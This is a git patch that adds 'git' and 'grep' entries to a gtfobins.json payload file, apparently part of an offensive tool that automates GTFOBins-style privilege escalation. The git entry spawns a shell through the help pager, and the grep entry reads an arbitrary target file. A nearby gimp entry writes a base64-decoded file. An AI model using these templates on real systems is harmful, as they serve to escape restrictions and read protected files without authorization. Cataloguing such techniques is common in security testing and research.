From 76f83ea07612609f1583d5e47ad05eee3b15450f Mon Sep 17 00:00:00 2001 From: John Hammond Date: Wed, 20 May 2020 23:55:15 -0400 Subject: [PATCH] Added git and grep as GTFOBins --- data/gtfobins.json | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/data/gtfobins.json b/data/gtfobins.json index 4c82f31..c7c33f3 100644 --- a/data/gtfobins.json +++ b/data/gtfobins.json @@ -839,6 +839,25 @@ // "args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'exec(\"\"\"import sys,base64\\nwith open(\"{lfile}\",\"wb\") as f:\\n\\tfor chunk in iter(lambda: sys.stdin.read(4), b\"\"):\\n\\t\\tf.write(base64.b64decode(chunk))\"\"\")\\ngimp.exit()'"] // } ], +//------------------------------------------------------------------- + "git": [ + { + "type": "shell", + "payload": "{command}", + "args": ["help", "config"], + "input": "!{shell}\n", + "exit": "exit\nq\n" + } + ], +//------------------------------------------------------------------- + "grep": [ + { + "type": "read", + "stream":"print", + "payload": "{command}", + "args": ["''", "{lfile}"] + } + ],